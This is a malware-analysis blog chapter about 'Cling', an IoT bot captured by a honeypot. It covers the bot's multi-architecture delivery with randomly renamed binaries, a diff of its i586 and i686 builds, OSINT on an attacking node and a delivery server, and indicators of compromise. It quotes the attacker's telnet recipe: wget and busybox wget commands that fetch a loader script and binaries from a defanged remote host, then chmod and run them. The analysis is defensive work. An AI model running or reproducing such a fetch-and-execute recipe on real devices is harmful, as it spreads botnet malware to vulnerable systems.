ES EN
Index

Cling · Chapter 18

Nothing to file

An already-infected IP connected to the honeypot's telnet and pasted a recipe all at once: eleven binaries, one per architecture, each with a made-up name that will never come round again. Two weighed exactly the same and looked like variants — they turned out to be the i586 and i686 builds of the same program. And behind them wasn't a stray bug: fifty-odd distinct binaries in two weeks. The whole delivery is built so that no blocklist, by name or by signature, catches anything.

When a new one drops, the first clues point to the usual: I take its hash, look it up on VirusTotal, and half a dozen engines call it «Mirai». And it's no debut: this family —I named it Cling, and the teardown will show why (the bug literally signs its work)— has been roaming VirusTotal for weeks. The reflex is to file it away: another server-flooding bot. But before filing it, I looked at how it had got in. And that's where things stopped adding up.

01The capture

It didn't come in guessing passwords. What came in was a device that was already infected: an IP, 85.11.167.132, connected to the honeypot's Telnet and, instead of exploring, pasted a string of commands all at once — the recipe that node of the delivery network fires at the next victim. This time, our honeypot was «the next one».

The commands, exactly as they arrived (grouped, because they came in a torrent):

what it pasted into the telnet
# 1) try a loader script, with wget and with busybox wget in case one is missing
cd /tmp; rm -rf wget.sh
wget hxxp://118.145.196[.]225:800/wget.sh
busybox wget hxxp://118.145.196[.]225:800/wget.sh
sh wget.sh telnet

# 2) and then brute force: one binary per architecture, each with a DIFFERENT NAME
cd; rm -rf 5x2b96g7; wget …:800/yy7atflk/5x2b96g7; chmod 777 5x2b96g7; ./5x2b96g7 telnet
cd; rm -rf obn2b6lh; wget …:800/yy7atflk/obn2b6lh; chmod 777 obn2b6lh; ./obn2b6lh telnet
# … and so on with: v6kyo484 · kml6vqk1 · sevpqwpf · gr84is20 · 1t960jbq
#                   c2uytx93 · 6bpx8p17 · yee32jdx · 2sdqu9iu   (eleven in total)

It's the same shotgun strategy we already saw with Mirai and KHserver: fire all eleven and let whichever one matches the victim's CPU start up; the other ten fail silently. It tries wget and busybox wget —belt and braces, because a router might only have one— and launches each binary with an argument: telnet.

That telnet at the end isn't the protocolit's the vector tag: whoever does the infecting passes the bug, as an argument, how it got in, and the bot will report that back to its base. Here it was telnet. But watch out for a false lead I clear up in the next chapter: telnet is not a door this bug knows how to open. The tag records how it arrived, not what it can do.
«It came in over telnet» is not «it brute-forces passwords»The fact that it hits our telnet doesn't mean the bug can guess passwords — when I open it up, we'll see it carries not one credential, and no Telnet scanner. Whoever forces the telnet and drops the recipe is another piece: a separate telnet loader, part of the delivery machinery, running ahead and pushing the bug onto the next device. The IP that attacked us is a node in that network, not anybody's lair. (Cling does spread on its own, but through other doors — we'll see them in the teardown.)

02Eleven names, and not one repeats

Look at the binary names: 5x2b96g7, obn2b6lh, yee32jdx… eight random characters, one per architecture. They're not descriptive —they don't say arm or mips— and they change with every delivery: when the same server served this recipe a few hours later, the names were different ones.

They all hang off a single place, the delivery server:

the delivery
hxxp://118.145.196[.]225:800/wget.sh              # the loader script
hxxp://118.145.196[.]225:800/yy7atflk/<name>      # one binary per architecture

And here's the first design detail: blocking by filename is completely useless. It's the same idea as the random gibberish in chapter 1 and the rotating names in chapter 3, but taken up to the server: every victim gets new names, so two infected devices never share the same trace on disk, and no rule looking for «a file called X» ever hits.

Fine, I thought — the name doesn't matter, that's what the hash is for, and that one's stable. I downloaded the three binaries my honeypot managed to save and set about filing their hashes.

03Two files, the same program

Of the three I captured, two weigh exactly the same —53,956 bytes, the two that file calls «Intel 80386»— and yet they have different hashes. Two files of the same size with different signatures smell like two versions, or a recompile to earn a fresh hash. I went to see what had changed, byte by byte.

diff of the two i386 · byte by byte
size                 53,956 B  =  53,956 B    # identical
bytes that differ    11,282                   # 21% of the file — and nearly all of it code

Eleven thousand bytes. Looks like a new variant. But a compiler is deterministic: the same source with the same options produces the same bytes, every time. If eleven thousand change, something changed — and when I looked at what, the answer wasn't «they recompiled it for the sake of it».

the difference that explains it
6bpx8p17:  cmovbe ecx, eax          # a CMOV instruction
c2uytx93:  cmp eax, 0x1d  +  jbe    # the same thing, done WITHOUT CMOV

That instruction, cmov, only exists from the i686 onwards (Pentium Pro, 1995); the i586 doesn't have it, and the compiler swaps it for a compare-and-jump. So they're not two recompiles of the same target: they're the i586 and i686 builds of the same program. The eleven thousand bytes change not because anyone touched the code, but because they're compiled for two different CPU generations.

And that clears up a loose end from the capture: why «one binary per architecture» left me with two «i386». They're not two copies of the same thing: they're 32-bit x86 for i586 and for i686, two of the eleven the loader hands out. file calls both of them «80386»; the instruction set gives them away. So this pair proves no hash rotation at all — it's a mirage, and a lesson in not over-reading a diff.

So where does «no hash is any use» come from, then?From the scale, not from this pair. The wave —the next section— hands out dozens of distinct binaries, with distinct hashes, under names that rotate with every delivery. That's where signature blocking runs out of anything to hold on to. Which is why the hashes I file at the end of this chapter are worth little: what catches this bug isn't its signature, it's its behaviour.

04A wave, not a stray bug

One note before opening it up, because it changes the scale of what we're looking at: this isn't a lost binary that happened to wander past. When I searched for the family on VirusTotal there wasn't one sample, or two — there were more than fifty, dated between 21 August and early September, compiled for half a dozen architectures (armv4l, v5, v6, v7, i586, i686, aarch64…).

A big wave, and still rolling. And this is where the real signature rotation lives —not in the two from before, but in the scale—: fifty-odd binaries with different hashes in two weeks. The hash comes from the content, so this isn't the same file renamed: they're new builds, served under names that change every few hours. No signature list keeps up with that. Our honeypot didn't catch «a bug»: it caught one frame of a campaign that had been running for two weeks. And all those samples, the fifty-something of them, share something that will be the key to the third piece — but for that, you first have to open one.

05The specimen

The three binaries the honeypot managed to save (of the eleven that were fired, only those three completed a distinct download). Static, stripped ELFs.

SPECIMEN 006 · ELF ×3

Cling · IoT bot VirusTotal calls it Mirai — but we'll see

◈ LIVE · DO NOT RUN
Type
static ELF · stripped · aarch64 · i686 · i586
Size
53,956 B (i386) · 62,384 B (aarch64)
Delivery
multi-architecture shotgun over Telnet · rotating names
Function
not what it looks like — torn apart in Ch. 19
Vector tag
telnet (the argument it's launched with)
SHA-256
1631e63e… (aarch64) · 1b831a93… (i686) · 52bff4bf… (i586)

06Where does all this come from?

Passive OSINT — third-party databases, without touching either machine. There are two IPs in this capture, and they do different jobs:

IPRoleWho it is (OSINT)
85.11.167.132the one that attacked (infected node)only 22/tcp open · flagged malicious · AS197170 TechTies (NL), with SOFCOMPANY (BG) as maintainer — range registered in June 2026, eleven weeks before the attack
118.145.196.225:800delivery serverBeijing Volcano Engine (ByteDance, CN) · 10 engines call it malicious
A detail that makes sense in the next chapterThe delivery server 118.145.196.225 is not written inside the binary. It doesn't carry it: its base tells it on the fly. That's why the wget.sh and the box handing out files are interchangeable without recompiling — and why, when I open the bug, I'll find no delivery address in there. It's one more piece of the same design: nothing fixed, nothing to file.

07Indicators (IOCs)

From the infection. The ones from inside the bug are in the next chapter.

TypeValue
Attacking IP (infected node)85.11.167.132
Delivery serverhxxp://118.145.196[.]225:800/ (wget.sh · /yy7atflk/<name>)
Loader patternmulti-architecture shotgun over Telnet · random 8-char rotating names · arg telnet
Family on VirusTotal>50 trojan.mirai samples carrying the string .cling · 2026-08-21 → 09-01 · armv4l/5l/6l/7l · i586 · i686 · aarch64
SHA-256 (they expire: it recompiles)1631e63ee373601c1f42f2674f996fc6c14dc6aebe45ca5d2395bf347a0e3661 (aarch64)
1b831a9366cd53a4127f885dab247bc2f0b3f661a7d9d9510bbd0a9f150bfb27 (i686)
52bff4bf58eb6031c16763b12b696e849a38f36e69c55402a444819cb9c1bc0e (i586)

To be continued — and here comes the good part. I downloaded the three binaries, opened them expecting the usual DDoS arsenal… and there wasn't a single attack function. What there was instead was something I hadn't seen come through here before. In Chapter 19 I tear it apart. 🍯

Comments